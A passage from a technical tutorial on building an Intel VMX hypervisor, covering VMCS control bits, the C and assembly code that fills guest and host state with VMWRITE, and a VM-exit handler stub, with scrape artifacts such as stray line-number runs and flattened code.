#define CPU_BASED_VIRTUAL_INTR_PENDING 0x00000004#define CPU_BASED_USE_TSC_OFFSETING 0x00000008#define CPU_BASED_HLT_EXITING 0x00000080#define CPU_BASED_INVLPG_EXITING 0x00000200#define CPU_BASED_MWAIT_EXITING 0x00000400#define CPU_BASED_RDPMC_EXITING 0x00000800#define CPU_BASED_RDTSC_EXITING 0x00001000#define CPU_BASED_CR3_LOAD_EXITING 0x00008000#define CPU_BASED_CR3_STORE_EXITING 0x00010000#define CPU_BASED_CR8_LOAD_EXITING 0x00080000#define CPU_BASED_CR8_STORE_EXITING 0x00100000#define CPU_BASED_TPR_SHADOW 0x00200000#define CPU_BASED_VIRTUAL_NMI_PENDING 0x00400000#define CPU_BASED_MOV_DR_EXITING 0x00800000#define CPU_BASED_UNCOND_IO_EXITING 0x01000000#define CPU_BASED_ACTIVATE_IO_BITMAP 0x02000000#define CPU_BASED_MONITOR_TRAP_FLAG 0x08000000#define CPU_BASED_ACTIVATE_MSR_BITMAP 0x10000000#define CPU_BASED_MONITOR_EXITING 0x20000000#define CPU_BASED_PAUSE_EXITING 0x40000000#define CPU_BASED_ACTIVATE_SECONDARY_CONTROLS 0x80000000

In the earlier versions of VMX, there is nothing like Secondary Processor-Based VM-Execution Controls. Now if you want to use the secondary table you have to set the 31st bit of the first table otherwise it’s like the secondary table field with zeros.

The definition of the above table is this (we ignore some bits, you can define them if you want to use them in your hypervisor):

12345

#define CPU_BASED_CTL2_ENABLE_EPT 0x2#define CPU_BASED_CTL2_RDTSCP 0x8#define CPU_BASED_CTL2_ENABLE_VPID 0x20#define CPU_BASED_CTL2_UNRESTRICTED_GUEST 0x80#define CPU_BASED_CTL2_ENABLE_VMFUNC 0x2000

VM-entry Control Bits

The VM-entry controls constitute a 32-bit vector that governs the basic operation of VM entries.

12345

// VM-entry Control Bits #define VM_ENTRY_IA32E_MODE 0x00000200#define VM_ENTRY_SMM 0x00000400#define VM_ENTRY_DEACT_DUAL_MONITOR 0x00000800#define VM_ENTRY_LOAD_GUEST_PAT 0x00004000

VM-exit Control Bits

The VM-exit controls constitute a 32-bit vector that governs the basic operation of VM exits.

12345

// VM-exit Control Bits #define VM_EXIT_IA32E_MODE 0x00000200#define VM_EXIT_ACK_INTR_ON_EXIT 0x00008000#define VM_EXIT_SAVE_GUEST_PAT 0x00040000#define VM_EXIT_LOAD_HOST_PAT 0x00080000

PIN-Based Execution Control

The pin-based VM-execution controls constitute a 32-bit vector that governs the handling of asynchronous events (for example: interrupts). We’ll use it in the future parts, but for now let define it in our Hypervisor.

123456

// PIN-Based Execution#define PIN_BASED_VM_EXECUTION_CONTROLS_EXTERNAL_INTERRUPT 0x00000001#define PIN_BASED_VM_EXECUTION_CONTROLS_NMI_EXITING 0x00000004#define PIN_BASED_VM_EXECUTION_CONTROLS_VIRTUAL_NMI 0x00000010#define PIN_BASED_VM_EXECUTION_CONTROLS_ACTIVE_VMX_TIMER 0x00000020 #define PIN_BASED_VM_EXECUTION_CONTROLS_PROCESS_POSTED_INTERRUPTS 0x00000040

Interruptibility State

The guest-state area includes the following fields that characterize guest state but which do not correspond to processor registers:
Activity state (32 bits). This field identifies the logical processor’s activity state. When a logical processor is executing instructions normally, it is in the active state. Execution of certain instructions and the occurrence of certain events may cause a logical processor to transition to an inactive state in which it ceases to execute instructions.
The following activity states are defined:
— 0: Active. The logical processor is executing instructions normally.

— 1: HLT. The logical processor is inactive because it executed the HLT instruction.
— 2: Shutdown. The logical processor is inactive because it incurred a triple fault1 or some other serious error.
— 3: Wait-for-SIPI. The logical processor is inactive because it is waiting for a startup-IPI (SIPI).

• Interruptibility state (32 bits). The IA-32 architecture includes features that permit certain events to be blocked for a period of time. This field contains information about such blocking. Details and the format of this field are given in Table below.

Configuring VMCS

Gathering Machine state for VMCS

In order to configure our Guest-State & Host-State we need to have details about current system state, e.g Global Descriptor Table Address, Interrupt Descriptor Table Add and Read all the Segment Registers.

These functions describe how all of these data can be gathered.

GDT Base :

123456

Get_GDT_Base PROC LOCAL gdtr[10]:BYTE sgdt gdtr mov rax, QWORD PTR gdtr[2] retGet_GDT_Base ENDP

CS segment register:

1234	GetCs PROC mov rax, cs retGetCs ENDP

DS segment register:

1234	GetDs PROC mov rax, ds retGetDs ENDP

ES segment register:

1234	GetEs PROC mov rax, es retGetEs ENDP

SS segment register:

1234	GetSs PROC mov rax, ss retGetSs ENDP

FS segment register:

1234	GetFs PROC mov rax, fs retGetFs ENDP

GS segment register:

1234	GetGs PROC mov rax, gs retGetGs ENDP

LDT:

1234	GetLdtr PROC sldt rax retGetLdtr ENDP

TR (task register):

1234	GetTr PROC str rax retGetTr ENDP

Interrupt Descriptor Table:

1234567

Get_IDT_Base PROC LOCAL idtr[10]:BYTE sidt idtr mov rax, QWORD PTR idtr[2] retGet_IDT_Base ENDP

GDT Limit:

1234567

Get_GDT_Limit PROC LOCAL gdtr[10]:BYTE sgdt gdtr mov ax, WORD PTR gdtr[0] retGet_GDT_Limit ENDP

IDT Limit:

1234567

Get_IDT_Limit PROC LOCAL idtr[10]:BYTE sidt idtr mov ax, WORD PTR idtr[0] retGet_IDT_Limit ENDP

RFLAGS:

12345

Get_RFLAGS PROC pushfq pop rax retGet_RFLAGS ENDP

Setting up VMCS

Let’s get down to business (We have a long way to go).

This section starts with defining a function called Setup_VMCS.

1	BOOLEAN Setup_VMCS(IN PVirtualMachineState vmState, IN PEPTP EPTP);

This function is responsible for configuring all of the options related to VMCS and of course the Guest & Host state.

These task needs a special instruction called “VMWRITE”.

VMWRITE, writes the contents of a primary source operand (register or memory) to a specified field in a VMCS. In VMX root operation, the instruction writes to the current VMCS. If executed in VMX non-root operation, the instruction writes to the VMCS referenced by the VMCS link pointer field in the current VMCS.

The VMCS field is specified by the VMCS-field encoding contained in the register secondary source operand.

The following enum contains most of the VMCS field need for VMWRITE & VMREAD instructions. (newer processors add newer fields.)

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134

enum VMCS_FIELDS { GUEST_ES_SELECTOR = 0x00000800, GUEST_CS_SELECTOR = 0x00000802, GUEST_SS_SELECTOR = 0x00000804, GUEST_DS_SELECTOR = 0x00000806, GUEST_FS_SELECTOR = 0x00000808, GUEST_GS_SELECTOR = 0x0000080a, GUEST_LDTR_SELECTOR = 0x0000080c, GUEST_TR_SELECTOR = 0x0000080e, HOST_ES_SELECTOR = 0x00000c00, HOST_CS_SELECTOR = 0x00000c02, HOST_SS_SELECTOR = 0x00000c04, HOST_DS_SELECTOR = 0x00000c06, HOST_FS_SELECTOR = 0x00000c08, HOST_GS_SELECTOR = 0x00000c0a, HOST_TR_SELECTOR = 0x00000c0c, IO_BITMAP_A = 0x00002000, IO_BITMAP_A_HIGH = 0x00002001, IO_BITMAP_B = 0x00002002, IO_BITMAP_B_HIGH = 0x00002003, MSR_BITMAP = 0x00002004, MSR_BITMAP_HIGH = 0x00002005, VM_EXIT_MSR_STORE_ADDR = 0x00002006, VM_EXIT_MSR_STORE_ADDR_HIGH = 0x00002007, VM_EXIT_MSR_LOAD_ADDR = 0x00002008, VM_EXIT_MSR_LOAD_ADDR_HIGH = 0x00002009, VM_ENTRY_MSR_LOAD_ADDR = 0x0000200a, VM_ENTRY_MSR_LOAD_ADDR_HIGH = 0x0000200b, TSC_OFFSET = 0x00002010, TSC_OFFSET_HIGH = 0x00002011, VIRTUAL_APIC_PAGE_ADDR = 0x00002012, VIRTUAL_APIC_PAGE_ADDR_HIGH = 0x00002013, VMFUNC_CONTROLS = 0x00002018, VMFUNC_CONTROLS_HIGH = 0x00002019, EPT_POINTER = 0x0000201A, EPT_POINTER_HIGH = 0x0000201B, EPTP_LIST = 0x00002024, EPTP_LIST_HIGH = 0x00002025, GUEST_PHYSICAL_ADDRESS = 0x2400, GUEST_PHYSICAL_ADDRESS_HIGH = 0x2401, VMCS_LINK_POINTER = 0x00002800, VMCS_LINK_POINTER_HIGH = 0x00002801, GUEST_IA32_DEBUGCTL = 0x00002802, GUEST_IA32_DEBUGCTL_HIGH = 0x00002803, PIN_BASED_VM_EXEC_CONTROL = 0x00004000, CPU_BASED_VM_EXEC_CONTROL = 0x00004002, EXCEPTION_BITMAP = 0x00004004, PAGE_FAULT_ERROR_CODE_MASK = 0x00004006, PAGE_FAULT_ERROR_CODE_MATCH = 0x00004008, CR3_TARGET_COUNT = 0x0000400a, VM_EXIT_CONTROLS = 0x0000400c, VM_EXIT_MSR_STORE_COUNT = 0x0000400e, VM_EXIT_MSR_LOAD_COUNT = 0x00004010, VM_ENTRY_CONTROLS = 0x00004012, VM_ENTRY_MSR_LOAD_COUNT = 0x00004014, VM_ENTRY_INTR_INFO_FIELD = 0x00004016, VM_ENTRY_EXCEPTION_ERROR_CODE = 0x00004018, VM_ENTRY_INSTRUCTION_LEN = 0x0000401a, TPR_THRESHOLD = 0x0000401c, SECONDARY_VM_EXEC_CONTROL = 0x0000401e, VM_INSTRUCTION_ERROR = 0x00004400, VM_EXIT_REASON = 0x00004402, VM_EXIT_INTR_INFO = 0x00004404, VM_EXIT_INTR_ERROR_CODE = 0x00004406, IDT_VECTORING_INFO_FIELD = 0x00004408, IDT_VECTORING_ERROR_CODE = 0x0000440a, VM_EXIT_INSTRUCTION_LEN = 0x0000440c, VMX_INSTRUCTION_INFO = 0x0000440e, GUEST_ES_LIMIT = 0x00004800, GUEST_CS_LIMIT = 0x00004802, GUEST_SS_LIMIT = 0x00004804, GUEST_DS_LIMIT = 0x00004806, GUEST_FS_LIMIT = 0x00004808, GUEST_GS_LIMIT = 0x0000480a, GUEST_LDTR_LIMIT = 0x0000480c, GUEST_TR_LIMIT = 0x0000480e, GUEST_GDTR_LIMIT = 0x00004810, GUEST_IDTR_LIMIT = 0x00004812, GUEST_ES_AR_BYTES = 0x00004814, GUEST_CS_AR_BYTES = 0x00004816, GUEST_SS_AR_BYTES = 0x00004818, GUEST_DS_AR_BYTES = 0x0000481a, GUEST_FS_AR_BYTES = 0x0000481c, GUEST_GS_AR_BYTES = 0x0000481e, GUEST_LDTR_AR_BYTES = 0x00004820, GUEST_TR_AR_BYTES = 0x00004822, GUEST_INTERRUPTIBILITY_INFO = 0x00004824, GUEST_ACTIVITY_STATE = 0x00004826, GUEST_SM_BASE = 0x00004828, GUEST_SYSENTER_CS = 0x0000482A, HOST_IA32_SYSENTER_CS = 0x00004c00, CR0_GUEST_HOST_MASK = 0x00006000, CR4_GUEST_HOST_MASK = 0x00006002, CR0_READ_SHADOW = 0x00006004, CR4_READ_SHADOW = 0x00006006, CR3_TARGET_VALUE0 = 0x00006008, CR3_TARGET_VALUE1 = 0x0000600a, CR3_TARGET_VALUE2 = 0x0000600c, CR3_TARGET_VALUE3 = 0x0000600e, EXIT_QUALIFICATION = 0x00006400, GUEST_LINEAR_ADDRESS = 0x0000640a, GUEST_CR0 = 0x00006800, GUEST_CR3 = 0x00006802, GUEST_CR4 = 0x00006804, GUEST_ES_BASE = 0x00006806, GUEST_CS_BASE = 0x00006808, GUEST_SS_BASE = 0x0000680a, GUEST_DS_BASE = 0x0000680c, GUEST_FS_BASE = 0x0000680e, GUEST_GS_BASE = 0x00006810, GUEST_LDTR_BASE = 0x00006812, GUEST_TR_BASE = 0x00006814, GUEST_GDTR_BASE = 0x00006816, GUEST_IDTR_BASE = 0x00006818, GUEST_DR7 = 0x0000681a, GUEST_RSP = 0x0000681c, GUEST_RIP = 0x0000681e, GUEST_RFLAGS = 0x00006820, GUEST_PENDING_DBG_EXCEPTIONS = 0x00006822, GUEST_SYSENTER_ESP = 0x00006824, GUEST_SYSENTER_EIP = 0x00006826, HOST_CR0 = 0x00006c00, HOST_CR3 = 0x00006c02, HOST_CR4 = 0x00006c04, HOST_FS_BASE = 0x00006c06, HOST_GS_BASE = 0x00006c08, HOST_TR_BASE = 0x00006c0a, HOST_GDTR_BASE = 0x00006c0c, HOST_IDTR_BASE = 0x00006c0e, HOST_IA32_SYSENTER_ESP = 0x00006c10, HOST_IA32_SYSENTER_EIP = 0x00006c12, HOST_RSP = 0x00006c14, HOST_RIP = 0x00006c16,};

Ok, let’s continue with our configuration.

The next step is configuring host Segment Registers.

1234567

__vmx_vmwrite(HOST_ES_SELECTOR, GetEs() & 0xF8); __vmx_vmwrite(HOST_CS_SELECTOR, GetCs() & 0xF8); __vmx_vmwrite(HOST_SS_SELECTOR, GetSs() & 0xF8); __vmx_vmwrite(HOST_DS_SELECTOR, GetDs() & 0xF8); __vmx_vmwrite(HOST_FS_SELECTOR, GetFs() & 0xF8); __vmx_vmwrite(HOST_GS_SELECTOR, GetGs() & 0xF8); __vmx_vmwrite(HOST_TR_SELECTOR, GetTr() & 0xF8);

Keep in mind, those fields that start with HOST_ are related to the state in which the hypervisor sets whenever a VM-Exit occurs and those which start with GUEST_ are related to to the state in which the hypervisor sets for guest when a VMLAUNCH executed.

The purpose of & 0xF8 is that Intel mentioned that the three less significant bits must be cleared and otherwise it leads to error when you execute VMLAUNCH with Invalid Host State error.

VMCS_LINK_POINTER should be 0xffffffffffffffff.

12	// Setting the link pointer to the required value for 4KB VMCS. __vmx_vmwrite(VMCS_LINK_POINTER, ~0ULL);

The rest of this topic, intends to perform the VMX instructions in the current state of machine, so must of the guest and host configurations should be the same. In the future parts we’ll configure them to a separate guest layout.

Let’s configure GUEST_IA32_DEBUGCTL.

The IA32_DEBUGCTL MSR provides bit field controls to enable debug trace interrupts, debug trace stores, trace messages enable, single stepping on branches, last branch record recording, and to control freezing of LBR stack.

In short : LBR is a mechanism that provides processor with some recording of registers.

We don’t use them but let’s configure them to the current machine’s MSR_IA32_DEBUGCTL and you can see that __readmsr is the intrinsic function for RDMSR.

1234	__vmx_vmwrite(GUEST_IA32_DEBUGCTL, __readmsr(MSR_IA32_DEBUGCTL) & 0xFFFFFFFF); __vmx_vmwrite(GUEST_IA32_DEBUGCTL_HIGH, __readmsr(MSR_IA32_DEBUGCTL) >> 32);

For configuring TSC you should modify the following values, I don’t have a precise explanation about it, so let them be zeros.

Note that, values that we put Zero on them can be ignored and if you don’t modify them, it’s like you put zero on them.

123456789101112

/* Time-stamp counter offset */ __vmx_vmwrite(TSC_OFFSET, 0); __vmx_vmwrite(TSC_OFFSET_HIGH, 0); __vmx_vmwrite(PAGE_FAULT_ERROR_CODE_MASK, 0); __vmx_vmwrite(PAGE_FAULT_ERROR_CODE_MATCH, 0); __vmx_vmwrite(VM_EXIT_MSR_STORE_COUNT, 0); __vmx_vmwrite(VM_EXIT_MSR_LOAD_COUNT, 0); __vmx_vmwrite(VM_ENTRY_MSR_LOAD_COUNT, 0); __vmx_vmwrite(VM_ENTRY_INTR_INFO_FIELD, 0);

This time, we’ll configure Segment Registers and other GDT for our Host (When VM-Exit occurs).

12345678910

GdtBase = Get_GDT_Base(); FillGuestSelectorData((PVOID)GdtBase, ES, GetEs()); FillGuestSelectorData((PVOID)GdtBase, CS, GetCs()); FillGuestSelectorData((PVOID)GdtBase, SS, GetSs()); FillGuestSelectorData((PVOID)GdtBase, DS, GetDs()); FillGuestSelectorData((PVOID)GdtBase, FS, GetFs()); FillGuestSelectorData((PVOID)GdtBase, GS, GetGs()); FillGuestSelectorData((PVOID)GdtBase, LDTR, GetLdtr()); FillGuestSelectorData((PVOID)GdtBase, TR, GetTr());

Get_GDT_Base is defined above, in the process of gathering information for our VMCS.

FillGuestSelectorData is responsible for setting the GUEST selector, attributes, limit, and base for VMCS. It implemented as below :

123456789101112131415161718192021

void FillGuestSelectorData( __in PVOID GdtBase, __in ULONG Segreg, __in USHORT Selector){ SEGMENT_SELECTOR SegmentSelector = { 0 }; ULONG uAccessRights; GetSegmentDescriptor(&SegmentSelector, Selector, GdtBase); uAccessRights = ((PUCHAR)& SegmentSelector.ATTRIBUTES)[0] + (((PUCHAR)& SegmentSelector.ATTRIBUTES)[1] << 12); if (!Selector) uAccessRights |= 0x10000; __vmx_vmwrite(GUEST_ES_SELECTOR + Segreg * 2, Selector); __vmx_vmwrite(GUEST_ES_LIMIT + Segreg * 2, SegmentSelector.LIMIT); __vmx_vmwrite(GUEST_ES_AR_BYTES + Segreg * 2, uAccessRights); __vmx_vmwrite(GUEST_ES_BASE + Segreg * 2, SegmentSelector.BASE); }

The function body for GetSegmentDescriptor :

123456789101112131415161718192021222324252627282930313233

BOOLEAN GetSegmentDescriptor(IN PSEGMENT_SELECTOR SegmentSelector, IN USHORT Selector, IN PUCHAR GdtBase){ PSEGMENT_DESCRIPTOR SegDesc; if (!SegmentSelector) return FALSE; if (Selector & 0x4) { return FALSE; } SegDesc = (PSEGMENT_DESCRIPTOR)((PUCHAR)GdtBase + (Selector & ~0x7)); SegmentSelector->SEL = Selector; SegmentSelector->BASE = SegDesc->BASE0 | SegDesc->BASE1 << 16 | SegDesc->BASE2 << 24; SegmentSelector->LIMIT = SegDesc->LIMIT0 | (SegDesc->LIMIT1ATTR1 & 0xf) << 16; SegmentSelector->ATTRIBUTES.UCHARs = SegDesc->ATTR0 | (SegDesc->LIMIT1ATTR1 & 0xf0) << 4; if (!(SegDesc->ATTR0 & 0x10)) { // LA_ACCESSED ULONG64 tmp; // this is a TSS or callgate etc, save the base high part tmp = (*(PULONG64)((PUCHAR)SegDesc + 8)); SegmentSelector->BASE = (SegmentSelector->BASE & 0xffffffff) | (tmp << 32); } if (SegmentSelector->ATTRIBUTES.Fields.G) { // 4096-bit granularity is enabled for this segment, scale the limit SegmentSelector->LIMIT = (SegmentSelector->LIMIT << 12) + 0xfff; } return TRUE;}

Also, there is another MSR called IA32_KERNEL_GS_BASE that is used to set the kernel GS base. whenever you run instructions like SYSCALL and enter to the ring 0, you need to change the current GS register and that can be done using SWAPGS. This instruction copies the content of IA32_KERNEL_GS_BASE into the IA32_GS_BASE and now it’s used in the kernel when you want to re-enter user-mode, you should change the user-mode GS Base. MSR_FS_BASE on the other hand, don’t have a kernel base because it used in 32-Bit mode while you have a 64-bit (long mode) kernel.

The GUEST_INTERRUPTIBILITY_INFO & GUEST_ACTIVITY_STATE.

12	__vmx_vmwrite(GUEST_INTERRUPTIBILITY_INFO, 0); __vmx_vmwrite(GUEST_ACTIVITY_STATE, 0); //Active state

Now we reach to the most important part of our VMCS and it’s the configuration of CPU_BASED_VM_EXEC_CONTROL and SECONDARY_VM_EXEC_CONTROL.

These fields enable and disable some important features of guest, e.g you can configure VMCS to cause a VM-Exit whenever an execution of HLT instruction detected (in Guest). Please check the VM-Execution Controls parts above for a detailed description.

123	__vmx_vmwrite(CPU_BASED_VM_EXEC_CONTROL, AdjustControls(CPU_BASED_HLT_EXITING \| CPU_BASED_ACTIVATE_SECONDARY_CONTROLS, MSR_IA32_VMX_PROCBASED_CTLS)); __vmx_vmwrite(SECONDARY_VM_EXEC_CONTROL, AdjustControls(CPU_BASED_CTL2_RDTSCP /* \| CPU_BASED_CTL2_ENABLE_EPT*/, MSR_IA32_VMX_PROCBASED_CTLS2));

As you can see we set CPU_BASED_HLT_EXITING that will cause the VM-Exit on HLT and activate secondary controls using CPU_BASED_ACTIVATE_SECONDARY_CONTROLS.

In the secondary controls, we used CPU_BASED_CTL2_RDTSCP and for now comment CPU_BASED_CTL2_ENABLE_EPT because we don’t need to deal with EPT in this part. In the future parts, I describe using EPT or Extended Page Table that we configured in the 4th part.

The description of PIN_BASED_VM_EXEC_CONTROL, VM_EXIT_CONTROLS and VM_ENTRY_CONTROLS is available above but for now, let zero them.

1234

__vmx_vmwrite(PIN_BASED_VM_EXEC_CONTROL, AdjustControls(0, MSR_IA32_VMX_PINBASED_CTLS)); __vmx_vmwrite(VM_EXIT_CONTROLS, AdjustControls(VM_EXIT_IA32E_MODE | VM_EXIT_ACK_INTR_ON_EXIT, MSR_IA32_VMX_EXIT_CTLS)); __vmx_vmwrite(VM_ENTRY_CONTROLS, AdjustControls(VM_ENTRY_IA32E_MODE, MSR_IA32_VMX_ENTRY_CTLS));

Also, the AdjustControls is defined like this:

123456789

ULONG AdjustControls(IN ULONG Ctl, IN ULONG Msr){ MSR MsrValue = { 0 }; MsrValue.Content = __readmsr(Msr); Ctl &= MsrValue.High; /* bit == 0 in high word ==> must be zero */ Ctl |= MsrValue.Low; /* bit == 1 in low word ==> must be one */ return Ctl;}

Next step is setting Control Register for guest and host, we set them to the same value using intrinsic functions.

12345678910

__vmx_vmwrite(GUEST_CR0, __readcr0()); __vmx_vmwrite(GUEST_CR3, __readcr3()); __vmx_vmwrite(GUEST_CR4, __readcr4()); __vmx_vmwrite(GUEST_DR7, 0x400); __vmx_vmwrite(HOST_CR0, __readcr0()); __vmx_vmwrite(HOST_CR3, __readcr3()); __vmx_vmwrite(HOST_CR4, __readcr4());

The next part is setting up IDT and GDT’s Base and Limit for our guest.

1234	__vmx_vmwrite(GUEST_GDTR_BASE, Get_GDT_Base()); __vmx_vmwrite(GUEST_IDTR_BASE, Get_IDT_Base()); __vmx_vmwrite(GUEST_GDTR_LIMIT, Get_GDT_Limit()); __vmx_vmwrite(GUEST_IDTR_LIMIT, Get_IDT_Limit());

Set the RFLAGS.

1	__vmx_vmwrite(GUEST_RFLAGS, Get_RFLAGS());

If you want to use SYSENTER in your guest then you should configure the following MSRs. It’s not important to set these values in x64 Windows because Windows doesn’t support SYSENTER in x64 versions of Windows, It uses SYSCALL instead and for 32-bit processes, first change the current execution mode to long-mode (using Heaven’s Gate technique) but in 32-bit processors these fields are mandatory.

1234567

__vmx_vmwrite(GUEST_SYSENTER_CS, __readmsr(MSR_IA32_SYSENTER_CS)); __vmx_vmwrite(GUEST_SYSENTER_EIP, __readmsr(MSR_IA32_SYSENTER_EIP)); __vmx_vmwrite(GUEST_SYSENTER_ESP, __readmsr(MSR_IA32_SYSENTER_ESP)); __vmx_vmwrite(HOST_IA32_SYSENTER_CS, __readmsr(MSR_IA32_SYSENTER_CS)); __vmx_vmwrite(HOST_IA32_SYSENTER_EIP, __readmsr(MSR_IA32_SYSENTER_EIP)); __vmx_vmwrite(HOST_IA32_SYSENTER_ESP, __readmsr(MSR_IA32_SYSENTER_ESP));

Don’t forget to configure HOST_FS_BASE, HOST_GS_BASE, HOST_GDTR_BASE, HOST_IDTR_BASE, HOST_TR_BASE.

12345678

GetSegmentDescriptor(&SegmentSelector, GetTr(), (PUCHAR)Get_GDT_Base()); __vmx_vmwrite(HOST_TR_BASE, SegmentSelector.BASE); __vmx_vmwrite(HOST_FS_BASE, __readmsr(MSR_FS_BASE)); __vmx_vmwrite(HOST_GS_BASE, __readmsr(MSR_GS_BASE)); __vmx_vmwrite(HOST_GDTR_BASE, Get_GDT_Base()); __vmx_vmwrite(HOST_IDTR_BASE, Get_IDT_Base());

The next important part is to set the RIP and RSP of the guest when a VMLAUNCH executes it starts with RIP you configured in this part and RIP and RSP of the host when a VM-Exit occurs. It’s pretty clear that Host RIP should point to a function that is responsible for managing VMX Events based on return code and decide to execute a VMRESUME or turn off hypervisor using VMXOFF.

123456789

// left here just for test __vmx_vmwrite(0, (ULONG64)VirtualGuestMemoryAddress); //setup guest sp __vmx_vmwrite(GUEST_RIP, (ULONG64)VirtualGuestMemoryAddress); //setup guest ip __vmx_vmwrite(HOST_RSP, ((ULONG64)vmState->VMM_Stack + VMM_STACK_SIZE — 1)); __vmx_vmwrite(HOST_RIP, (ULONG64)VMExitHandler);

HOST_RSP points to VMM_Stack that we allocated above and HOST_RIP points to VMExitHandler (an assembly written function that described below). GUEST_RIP points to VirtualGuestMemoryAddress(the global variable that we configured during EPT initialization) and GUEST_RSP to zero because we don’t put any instruction that uses stack so for a real-world example it should point to writeable different address.

Setting these fields to a Host Address will not cause a problem as long as we have a same CR3 in our guest state so all the addresses are mapped exactly the same as the host.

Done ! Our VMCS is almost ready.

Checking VMCS Layout

Unfortunatly, checking VMCS Layout is not as straight as the other parts, you have to control all the checklists described in [CHAPTER 26] VM ENTRIES from Intel’s 64 and IA-32 Architectures Software Developer’s Manual including the following sections:

26.2 CHECKS ON VMX CONTROLS AND HOST-STATE AREA
26.3 CHECKING AND LOADING GUEST STATE
26.4 LOADING MSRS
26.5 EVENT INJECTION
26.6 SPECIAL FEATURES OF VM ENTRY
26.7 VM-ENTRY FAILURES DURING OR AFTER LOADING GUEST STATE
26.8 MACHINE-CHECK EVENTS DURING VM ENTRY

The hardest part of this process is when you have no idea about the incorrect part of your VMCS layout or on the other hand when you miss something that eventually causes the failure.

This is because Intel just gives an error number without any further details about what’s exactly wrong in your VMCS Layout.

The errors shown below.

To solve this problem, I created a user-mode application called VmcsAuditor. As its name describes, if you have any error and don’t have any idea about solving the problem then it can be a choice.

Keep in mind that VmcsAuditor is a tool based on Bochs emulator support for VMX so all the checks come from Bochs and it’s not a 100% reliable tool that solves all the problem as we don’t know what exactly happening inside processor but it can be really useful and time saver.

The source code and executable files available on GitHub :

[https://github.com/SinaKarvandi/VMCS-Auditor]

Further description available here.

VM-Exit Handler

When our guest software exits and give the handle back to the host, its VM-exit reasons can be defined in the following definitions.

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960

#define EXIT_REASON_EXCEPTION_NMI 0#define EXIT_REASON_EXTERNAL_INTERRUPT 1#define EXIT_REASON_TRIPLE_FAULT 2#define EXIT_REASON_INIT 3#define EXIT_REASON_SIPI 4#define EXIT_REASON_IO_SMI 5#define EXIT_REASON_OTHER_SMI 6#define EXIT_REASON_PENDING_VIRT_INTR 7#define EXIT_REASON_PENDING_VIRT_NMI 8#define EXIT_REASON_TASK_SWITCH 9#define EXIT_REASON_CPUID 10#define EXIT_REASON_GETSEC 11#define EXIT_REASON_HLT 12#define EXIT_REASON_INVD 13#define EXIT_REASON_INVLPG 14#define EXIT_REASON_RDPMC 15#define EXIT_REASON_RDTSC 16#define EXIT_REASON_RSM 17#define EXIT_REASON_VMCALL 18#define EXIT_REASON_VMCLEAR 19#define EXIT_REASON_VMLAUNCH 20#define EXIT_REASON_VMPTRLD 21#define EXIT_REASON_VMPTRST 22#define EXIT_REASON_VMREAD 23#define EXIT_REASON_VMRESUME 24#define EXIT_REASON_VMWRITE 25#define EXIT_REASON_VMXOFF 26#define EXIT_REASON_VMXON 27#define EXIT_REASON_CR_ACCESS 28#define EXIT_REASON_DR_ACCESS 29#define EXIT_REASON_IO_INSTRUCTION 30#define EXIT_REASON_MSR_READ 31#define EXIT_REASON_MSR_WRITE 32#define EXIT_REASON_INVALID_GUEST_STATE 33#define EXIT_REASON_MSR_LOADING 34#define EXIT_REASON_MWAIT_INSTRUCTION 36#define EXIT_REASON_MONITOR_TRAP_FLAG 37#define EXIT_REASON_MONITOR_INSTRUCTION 39#define EXIT_REASON_PAUSE_INSTRUCTION 40#define EXIT_REASON_MCE_DURING_VMENTRY 41#define EXIT_REASON_TPR_BELOW_THRESHOLD 43#define EXIT_REASON_APIC_ACCESS 44#define EXIT_REASON_ACCESS_GDTR_OR_IDTR 46#define EXIT_REASON_ACCESS_LDTR_OR_TR 47#define EXIT_REASON_EPT_VIOLATION 48#define EXIT_REASON_EPT_MISCONFIG 49#define EXIT_REASON_INVEPT 50#define EXIT_REASON_RDTSCP 51#define EXIT_REASON_VMX_PREEMPTION_TIMER_EXPIRED 52#define EXIT_REASON_INVVPID 53#define EXIT_REASON_WBINVD 54#define EXIT_REASON_XSETBV 55#define EXIT_REASON_APIC_WRITE 56#define EXIT_REASON_RDRAND 57#define EXIT_REASON_INVPCID 58#define EXIT_REASON_RDSEED 61#define EXIT_REASON_PML_FULL 62#define EXIT_REASON_XSAVES 63#define EXIT_REASON_XRSTORS 64#define EXIT_REASON_PCOMMIT 65

VMX Exit handler should be a pure assembly function because calling a compiled function needs some preparing and some register modification and the most important thing in VMX Handler is saving the registers state so that you can continue, other time.

I create a sample function for saving the registers and returning the state but in this function we call another C function.

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061

PUBLIC VMExitHandler EXTERN MainVMExitHandler:PROCEXTERN VM_Resumer:PROC .code _text VMExitHandler PROC push r15 push r14 push r13 push r12 push r11 push r10 push r9 push r8 push rdi push rsi push rbp push rbp ; rsp push rbx push rdx push rcx push rax mov rcx, rsp ;GuestRegs sub rsp, 28h ;rdtsc call MainVMExitHandler add rsp, 28h pop rax pop rcx pop rdx pop rbx pop rbp ; rsp pop rbp pop rsi pop rdi pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 sub rsp, 0100h ; to avoid error in future functions JMP VM_Resumer VMExitHandler ENDP end

The main VM-Exit handler is a switch-case function that has different decisions over the VMCS VM_EXIT_REASON and EXIT_QUALIFICATION.

In this part, we’re just performing an action over EXIT_REASON_HLT and just print the result and restore the previous state.

From the following code, you can clearly see what event cause the VM-exit. Just keep in mind that some reasons only lead to VM-Exit if the VMCS’s control execution fields (described above) allows for it. For instance, the execution of HLT in guest software will cause VM-Exit if the 7th bit of the Primary Processor-Based VM-Execution Controls allows it.

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293

